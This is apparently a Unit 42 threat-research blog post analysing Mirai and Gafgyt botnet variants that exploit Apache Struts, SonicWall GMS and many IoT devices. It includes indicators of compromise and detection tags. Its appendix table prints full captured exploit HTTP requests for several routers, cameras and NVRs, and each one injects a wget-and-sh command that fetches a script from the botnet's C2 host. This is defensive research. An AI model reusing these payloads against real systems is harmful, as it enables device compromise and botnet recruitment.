[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/) [![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/) Menu * [Tools](https://unit42.paloaltonetworks.com/tools/) * [ATOMs](https://unit42.paloaltonetworks.com/atoms/) * [Security Consulting](https://www.paloaltonetworks.com/unit42) * [About Us](https://unit42.paloaltonetworks.com/about-unit-42/) * [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html) English * [English](https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/) * [Japanese](https://unit42.paloaltonetworks.com/ja/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/) * [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research") * [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware") [Malware](https://unit42.paloaltonetworks.com/category/malware/) # Multi-exploit IoT/Linux Botnets Mirai and Gafgyt Target Apache Struts, SonicWall ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 5 min read Related Products [![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Ruchna Nigam](https://unit42.paloaltonetworks.com/author/ruchna-nigam/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:September 9, 2018 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Malware](https://unit42.paloaltonetworks.com/category/malware/) * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * [Vulnerabilities](https://unit42.paloaltonetworks.com/category/vulnerabilities/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [Apache Struts](https://unit42.paloaltonetworks.com/tag/apache-struts/) * [BlackNurse](https://unit42.paloaltonetworks.com/tag/blacknurse/) * [Botnet](https://unit42.paloaltonetworks.com/tag/botnet/) * [CVE-2017-5638](https://unit42.paloaltonetworks.com/tag/cve-2017-5638/) * [CVE-2018-9866](https://unit42.paloaltonetworks.com/tag/cve-2018-9866/) * [Exploits](https://unit42.paloaltonetworks.com/tag/exploits/) * [Gafgyt](https://unit42.paloaltonetworks.com/tag/gafgyt/) * [IoT](https://unit42.paloaltonetworks.com/tag/iot/) * [Linux](https://unit42.paloaltonetworks.com/tag/linux/) * [Mirai](https://unit42.paloaltonetworks.com/tag/mirai/) * [SonicWall RCE](https://unit42.paloaltonetworks.com/tag/sonicwall-rce/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/?pdf=download&lg=en&_wpnonce=279fa6c5e6 "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/?pdf=print&lg=en&_wpnonce=279fa6c5e6 "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Multi-exploit%20IoT/Linux%20Botnets%20Mirai%20and%20Gafgyt%20Target%20Apache%20Struts,%20SonicWall&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall%2F&title=Multi-exploit%20IoT/Linux%20Botnets%20Mirai%20and%20Gafgyt%20Target%20Apache%20Struts,%20SonicWall "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall%2F&text=Multi-exploit%20IoT/Linux%20Botnets%20Mirai%20and%20Gafgyt%20Target%20Apache%20Struts,%20SonicWall "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Multi-exploit%20IoT/Linux%20Botnets%20Mirai%20and%20Gafgyt%20Target%20Apache%20Struts,%20SonicWall%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall%2F "Share in Mastodon") **Executive Summary:** Unit 42 has uncovered new variants of the well-known IoT botnets Mirai and Gafgyt. These are the IoT botnets associated with unprecedented Distributed Denial of Service attacks in November 2016 and since. These variants are notable for two reasons: * The new Mirai version targets the same Apache Struts vulnerability associated with the Equifax data breach in 2017. * The new Gafgyt version targets a newly disclosed vulnerability affecting older, [unsupported](https://www.sonicwall.com/en-us/support/product-lifecycle-tables?product=sonicwall-gms&type=software) versions of SonicWall's Global Management System (GMS). These developments suggest these IOT botnets are increasingly targeting enterprise devices with outdated versions. All organizations should ensure they keep not only their systems up-to-date and patched, but also their IoT devices. For Palo Alto Networks customers, WidlFire detects all related samples with malicious verdicts. Additional protections are noted in the conclusion below. **Research:** On September 7, 2018, Unit 42 found samples of a Mirai variant that incorporates exploits targeting 16 separate vulnerabilities. While the use of multiple exploits within a single sample of Mirai has been observed in the [past](https://blog.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/), this is the **first known instance of Mirai targeting a vulnerability in Apache Struts.** In addition, Unit 42 found the domain that is currently hosting these Mirai samples previously resolved to a different IP address during the month of August. During that time this IP was intermittently hosting samples of Gafgyt that incorporated an exploit against CVE-2018-9866 a SonicWall vulnerability affecting older versions of SonicWall Global Management System (GMS). SonciWall has been notified of this development. The incorporation of exploits targeting Apache Struts and SonicWall by these IoT/Linux botnets could indicate a larger movement from consumer device targets to enterprise targets. Apache Struts exploit in multi-exploit Mirai variant The exploit targeting Apache Struts in the new variant we found targets [CVE-2017-5638](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638), an arbitrary command execution vulnerability via crafted Content-Type, Content-Disposition, or Content-Length HTTP headers. Its format can be seen in Figure 1, with the payload highlighted. [![SonicWall1](https://blog.paloaltonetworks.com/wp-content/uploads/2018/09/SonicWall1-500x206.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2018/09/SonicWall1.png) Figure 1 CVE-2017-5638 exploit format The other 15 exploits incorporated in this Mirai variant are detailed in Table 2 in the [Appendix](#table2) below. While these samples are variants of Mirai, they don't include the bruteforce functionality generally used by Mirai. They use l\[.\]ocalhost\[.\]host:47883 as C2, and the same encryption scheme as Mirai with the key 0xdeadf00d. SonicWall GMS exploit in Gafgyt variant The domain l\[.\]ocalhost\[.\]host used for C2 and to serve payloads in the Mirai variant discussed above, has also been found associated with other Mirai activity in the [past](https://securelist.com/new-wave-of-mirai-attacking-home-routers/76791/) as far back as November 2016. For part of the month of August 2018, that same domain resolved to a different IP address 185\[.\]10\[.\]68\[.\]127. At that time we found that IP hosting samples of Gafgyt containing an exploit for a recently disclosed SonicWall vulnerability ([CVE-2018-9866](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9866)) affecting older, unsupported versions of SonicWall Global Management System (GMS) (8.1 and older) that is not present in [currently supported versions.](https://software.sonicwall.com/GMSViewPointVA/Documentation/232-003379-00_RevB_GMS_8.2_ReleaseNotes.pdf) The vulnerability CVE-2018-9866 targeted by the exploit stems from the lack of sanitization of XML-RPC requests to the set\_time\_config method. Figure 2 shows the exploit used in the sample, with the payload highlighted. [![SonicWall2](https://blog.paloaltonetworks.com/wp-content/uploads/2018/09/SonicWall2-500x135.png)](https://blog.paloaltonetworks.com/wp-content/uploads/2018/09/SonicWall2.png) Figure 2 SonicWall set\_time\_config RCE format These samples first surfaced on August 5, less than a week after the publication of a [Metasploit module](https://www.exploit-db.com/exploits/45124/) for this vulnerability. The SonicWall public advisory on the issue published on July 17, 2018, can be found [here](https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2018-0007). The samples we found are built using the Gafgyt codebase rather than Mirai. Some of the commands supported are described in the table below. |--------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | **Command** | **Description** | | !\* SCANNER \ | Based on arguments provided, the bot starts sending the associated exploit to devices. · HUAWEI: Send CVE-2017-17215 (See [previous campaigns](https://blog.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/)) · GPON: Same as above · DLINK: Send D-Link DSL 2750B OS Command Injection (see Table 2) · SONICWALL: Send exploit in Figure 2. · OFF: kills the running process associated with the bot | | !\* BIN\_UPDATE \ \ | Fetches an update from \, saves it to \, installs update | | !\* BN \ \ \ | Launch a Blacknurse DDoS attack against \:\ for a duration of \ seconds | Table 3 Some commands supported by variant with SonicWall exploit [Blacknurse](https://www.blacknurse.dk/) is a low bandwidth DDoS attack involving ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016. The earliest samples we have seen supporting this DDoS method are from September 2017. # Conclusion The incorporation of exploits targeting Apache Struts and SonicWall by these IoT/Linux botnets could be an indication of a larger movement from consumer device targets to enterprise targets. Palo Alto Networks AutoFocus customers can track these activities using individual exploit tags: * [CVE-2017-5638](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2017-5638) * [CVE-2018-9866](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2018-9866) * [EnGeniusRCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.EnGeniusRCE) * [CVE-2017-6884](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2017-6884) * [DLinkDSL2750BOSCmdInjection](https://autofocus.paloaltonetworks.com/#/tag/Unit42.DLinkDSL2750BOSCmdInjection) * [GPONExploits](https://autofocus.paloaltonetworks.com/#/tag/Unit42.GPONExploits) * [CVE-2017-17215](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2017-17215) * [DLinkcommandphpRCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.DLinkcommandphpRCE) * [DLinkOSInjection](https://autofocus.paloaltonetworks.com/#/tag/Unit42.DLinkOSInjection) * [NetgearRCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.NetgearRCE) * [VacronNVRRCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.VacronNVRRCE) AutoFocus customers can also use the following malware family tags: * [Gafygt](https://autofocus.paloaltonetworks.com/#/tag/Unit42.Gafgyt) * [ELFMirai](https://autofocus.paloaltonetworks.com/#/tag/Unit42.ELFMirai) WildFire detects all related samples with malicious verdicts. Here is a list of other vulnerabilities targeted in the Mirai variant targeting Apache Struts: |----------------------------------------------------------------------------------------------------|---------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | **Vulnerability** | **Affected Devices** | **Exploit Format** | | [CVE-2017-5638](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638), | Devices with unpatch Apache Struts | | | [Linksys RCE](https://www.exploit-db.com/exploits/31683/) | Linksys E-series devices | POST /tmBlock.cgi HTTP/1.1 Authorization: Basic YWRtaW46cG9ybmh1Yg== Content-Type: application/x-www-form-urlencoded Content-Length: 215 submit\_button=\&change\_action=\&action=\&commit=0\&ttcp\_num=2\&ttcp\_size=2\&ttcp\_ip=-h \`wget%20http://l.ocalhost.host/lsys.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp\`\&StartEPI=1 |-------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 | POST /tmBlock.cgi HTTP/1.1 Authorization: Basic YWRtaW46cG9ybmh1Yg== Content-Type: application/x-www-form-urlencoded Content-Length: 215 submit\_button=\&change\_action=\&action=\&commit=0\&ttcp\_num=2\&ttcp\_size=2\&ttcp\_ip=-h \`wget%20http://l.ocalhost.host/lsys.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp\`\&StartEPI=1 | The samples contain other versions of the same exploit using GET and POST requests, aimed at /tmBlock.cgi, /tmUnblock.cgi, /hndBlock.cgi and /hndUnblock.cgi |---|-----------------------------------------------------------------| | 1 | /tmBlock.cgi, /tmUnblock.cgi, /hndBlock.cgi and /hndUnblock.cgi | | | [Vacron NVR RCE](https://blogs.securiteam.com/index.php/archives/3445) | Vacron NVR Devices | Similar to [previous campaigns](https://blog.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/) This variant also contains a POST request version of the same exploit : POST /board.cgi HTTP/1.1 Content-Length: 118 Content-Type: application/x-www-form-urlencoded cmd=\`wget%20http://l.ocalhost.host/vac.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp\` |-------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 | POST /board.cgi HTTP/1.1 Content-Length: 118 Content-Type: application/x-www-form-urlencoded cmd=\`wget%20http://l.ocalhost.host/vac.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp\` | | | [D-Link command.php RCE](https://www.exploit-db.com/exploits/27528/) | Some D-Link devices | POST /command.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 127 cmd=\`wget%20http://l.ocalhost.host/cmdphp.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp\` |-------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 | POST /command.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 127 cmd=\`wget%20http://l.ocalhost.host/cmdphp.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp\` | | | [CCTV/DVR RCE](https://www.exploit-db.com/exploits/39596/) | CCTVs, DVRs from over 70 vendors | Similar to [previous campaigns](https://blog.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/) | | [EnGenius RCE](https://www.exploit-db.com/exploits/42114/) | EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 | POST /web/cgi-bin/usbinteract.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 133 action=7\&path="|wget%20http://l.ocalhost.host/usb.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp||\\ |-------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 | POST /web/cgi-bin/usbinteract.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 133 action=7\&path="|wget%20http://l.ocalhost.host/usb.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp||\\ | | | [AVTECH Unauthenticated Command Injection](https://www.exploit-db.com/exploits/40500/) | AVTECH IP Camera/NVR/DVR Devices | GET /cgi-bin/nobody/Search.cgi?action=cgi\_query\&ip=google.com\&port=80\&queryb64str=LW==\&username=admin%20;XmlAp%20r%20Account.User1.Password\>$(wget%20http://l.ocalhost.host/avtech.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp);\&password=admin Content-Type: application/x-www-form-urlencoded |-------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 | GET /cgi-bin/nobody/Search.cgi?action=cgi\_query\&ip=google.com\&port=80\&queryb64str=LW==\&username=admin%20;XmlAp%20r%20Account.User1.Password\>$(wget%20http://l.ocalhost.host/avtech.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp);\&password=admin Content-Type: application/x-www-form-urlencoded | | | [CVE-2017-6884](https://www.exploit-db.com/exploits/41782/) | Zyxel routers | GET /cgi-bin/luci/;stok=\/expert/maintenance/diagnostic/nslookup?nslookup\_button=nslookup\_button\&ping\_ip=google.ca%3b%20\`wget%20http://l.ocalhost.host/luci.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp\`\&server\_ip= HTTP/1.1 Accept: text/html,application/xhtml777ml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Referer: http://192.168.0.1/cgi-bin/luci/;stok=\/expert/maintenance/diagnostic/nslookup Accept-Language: en-US,en;q=0.8 Cookie: csd=9; sysauth=\ Connection: close |-------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 | GET /cgi-bin/luci/;stok=\/expert/maintenance/diagnostic/nslookup?nslookup\_button=nslookup\_button\&ping\_ip=google.ca%3b%20\`wget%20http://l.ocalhost.host/luci.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp\`\&server\_ip= HTTP/1.1 Accept: text/html,application/xhtml777ml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Referer: http://192.168.0.1/cgi-bin/luci/;stok=\/expert/maintenance/diagnostic/nslookup Accept-Language: en-US,en;q=0.8 Cookie: csd=9; sysauth=\ Connection: close | | | [NetGain 'ping' Command Injection](https://www.exploit-db.com/exploits/41499/) | NetGain Enterprise Manager 7.2.562 | POST /u/jsp/tools/exec.jsp HTTP/1.1 Accept: \*/\* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Cookie: JSESSIONID=542B58462355E4E3B99FAA42842E62FF Connection: close Pragma: no-cache Cache-Control: no-cache Content-Length: 206 command=cmd+%2Fc+ping\&argument=127.0.0.1+%7C+\`wget%20http://l.ocalhost.host/exec.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp\`\&async\_output=ping1487856455258\&isWindows=false |-------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | POST /u/jsp/tools/exec.jsp HTTP/1.1 Accept: \*/\* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Cookie: JSESSIONID=542B58462355E4E3B99FAA42842E62FF Connection: close Pragma: no-cache Cache-Control: no-cache Content-Length: 206 command=cmd+%2Fc+ping\&argument=127.0.0.1+%7C+\`wget%20http://l.ocalhost.host/exec.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp\`\&async\_output=ping1487856455258\&isWindows=false | | | [NUUO OS Command Injection](https://www.exploit-db.com/exploits/40212/) | NUUO NVRmini 2 3.0.8 | POST /handle\_iscsi.php HTTP/1.1 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: \*/\* Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: PHPSESSID=c9fdced9e8129eb4c14e3154cd0e0ce3; lang=en; loginName=admin Connection: close Content-Length: x act=discover\&address=1.3.3.7|\`wget%20http://l.ocalhost.host/iscsi.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp\`\&port=1337 |-------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | POST /handle\_iscsi.php HTTP/1.1 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: \*/\* Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 Cookie: PHPSESSID=c9fdced9e8129eb4c14e3154cd0e0ce3; lang=en; loginName=admin Connection: close Content-Length: x act=discover\&address=1.3.3.7|\`wget%20http://l.ocalhost.host/iscsi.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp\`\&port=1337 | | | [NUUOS OS Command Injection](https://www.exploit-db.com/exploits/40212/) | NUUO NVRmini 2 3.0.8 | POST /cgi-bin/cgi\_system?cmd=saveconfig HTTP/1.1 Cache-Control: max-age=0 Content-Length: 187 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml777ml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.8 Cookie: PHPSESSID=3bc601000ea8f085c22cb37b9b102b7f; lang=en Connection: close bfolder=%2Fmtd%2Fblock3\&bfile=|\`wget%20http://l.ocalhost.host/cgisys.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp\`\&inc\_emap=no\&inc\_pos=no |-------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | POST /cgi-bin/cgi\_system?cmd=saveconfig HTTP/1.1 Cache-Control: max-age=0 Content-Length: 187 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml777ml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: en-US,en;q=0.8 Cookie: PHPSESSID=3bc601000ea8f085c22cb37b9b102b7f; lang=en Connection: close bfolder=%2Fmtd%2Fblock3\&bfile=|\`wget%20http://l.ocalhost.host/cgisys.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp\`\&inc\_emap=no\&inc\_pos=no | | | [Netgear setup.cgi unauthenticated RCE](https://www.exploit-db.com/exploits/43055/) | DGN1000 Netgear routers | Similar to [previous campaigns](https://blog.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/) | | [HNAP SoapAction-Header Command Execution](https://www.exploit-db.com/exploits/37171/) | D-Link devices | Similar to [previous campaigns](https://blog.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/) This variant uses an effective version of the exploit as opposed to the faulty one used in the campaigns linked above i.e. it targets SOAPAction: http://purenetworks\[.\]com/HNAP1/GetDeviceSettings/ | | [D-Link OS Command Injection](https://www.exploit-db.com/exploits/44760/) | D-Link DSL-2750B | Similar to [previous campaigns](https://blog.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/) | | [JAWS Webserver authenticated shell command execution](https://www.exploit-db.com/exploits/41471/) | MVPower DVRs, among others | Similar to [previous campaigns](https://blog.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/) | | [CVE-2018-10561, CVE-2018-10562](https://www.exploit-db.com/exploits/44576/) | Dasan GPON routers | Similar to [previous campaigns](https://blog.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/) This variant also includes a POST request version of the same exploit | Table 2 Other exploits used in the same sample Indicators of Compromise **Samples with Apache Struts exploit CVE-2017-5638** d6648a36f55d6b8ffd034df7d04156d31411719ce9bc28e6d30c8427feacb397 710d56a90b5f61c7ae82fcf305d23d48476e4f237ffff9d68b961171f168f255 52274c46933c20aaf64fd4c11557143fcfdc76eef192743fafd1b3a8bed3f4d2 078eef70d754e9b64bc783f085846a2e8ae419653a79ed2386c4ade86fde68cb ef090093496ccdab506848166a07554bfa74eb98a0546171b84fc73861f67c79 49cdb537f5e4081362545532a623f597212c8cea847cf9f2b2f1fe1f3cd0ec2f 99c22a0c0e252ab123fb3167f49d94dc12960b79565ca6dfd28f2ff5b0346348 ae2354a5d8b84fb6ea6fc4b9ca3060959d5c0c77684cd2100731df2a3c7a204e 1913cf8e65114136cc309e72c384b717f0aeaaeae0c040188648c4afebce1669 **Samples with Sonicwall GMS exploit CVE-2018-9866** 1814c010f5e7391c7ea38850f9caf0771866e315f8d0c58c563818e71d30c208 29540468514cd48b6c2571722018dffb49d12f99c95b248a44a1455fff01acfb 39891a1c13e4e6ec9de410201f697d23c05e83a29ec0010c6c62c6829386e6a6 596270e91ccee3ec04a552bafde586af127ecac7141852edb9707ac6c4779a99 68b27935c7d064478339f7d95b57ff06ffa1efbd81009b4a2870c5cf3e0b0b35 92a4c6ae034c3a03c21b74bdc00264192e60a85deedd90b99a3e350758eb85c1 aab0ec600cdf57f28f9480ff3a9d3547f699af005c015b74c5c9e39a992570b6 d8fbf6d68993045b4840729c788665ab10c50c42b27246a290031664f3b956eb dafe1b513183902692c8ba8b2a95fede7c13937e49bf21294de448df05edff18 f89d742c4d3312ac9bd707a9135235482c554e369cb646dcd97f6a14b4210136 fab034d705b3ad7a10101858daf5da93a88f8bfd509dee9b8072678b27290ed3 **Infrastructure** l\[.\]ocalhost\[.\]host 185\[.\]10\[.\]68\[.\]213 185\[.\]10\[.\]68\[.\]127 Back to top ### Tags * [Apache Struts](https://unit42.paloaltonetworks.com/tag/apache-struts/ "Apache Struts") * [BlackNurse](https://unit42.paloaltonetworks.com/tag/blacknurse/ "BlackNurse") * [Botnet](https://unit42.paloaltonetworks.com/tag/botnet/ "botnet") * [CVE-2017-5638](https://unit42.paloaltonetworks.com/tag/cve-2017-5638/ "CVE-2017-5638") * [CVE-2018-9866](https://unit42.paloaltonetworks.com/tag/cve-2018-9866/ "CVE-2018-9866") * [Exploits](https://unit42.paloaltonetworks.com/tag/exploits/ "exploits") * [Gafgyt](https://unit42.paloaltonetworks.com/tag/gafgyt/ "Gafgyt") * [IoT](https://unit42.paloaltonetworks.com/tag/iot/ "IoT") * [Linux](https://unit42.paloaltonetworks.com/tag/linux/ "Linux") * [Mirai](https://unit42.paloaltonetworks.com/tag/mirai/ "Mirai") * [SonicWall RCE](https://unit42.paloaltonetworks.com/tag/sonicwall-rce/ "SonicWall RCE") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Traps Prevents In-The-Wild VBScript Zero-Day Exploit in Internet Explorer](https://unit42.paloaltonetworks.com/unit42-traps-prevents-wild-vbscript-zero-day-exploit-internet-explorer/ "Traps Prevents In-The-Wild VBScript Zero-Day Exploit in Internet Explorer") ### Related Articles * [The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/ "article - table of contents") * [Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "article - table of contents") * [Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years](https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/ "article - table of contents") ## Related Resources ![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/12_Security-Technology_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat 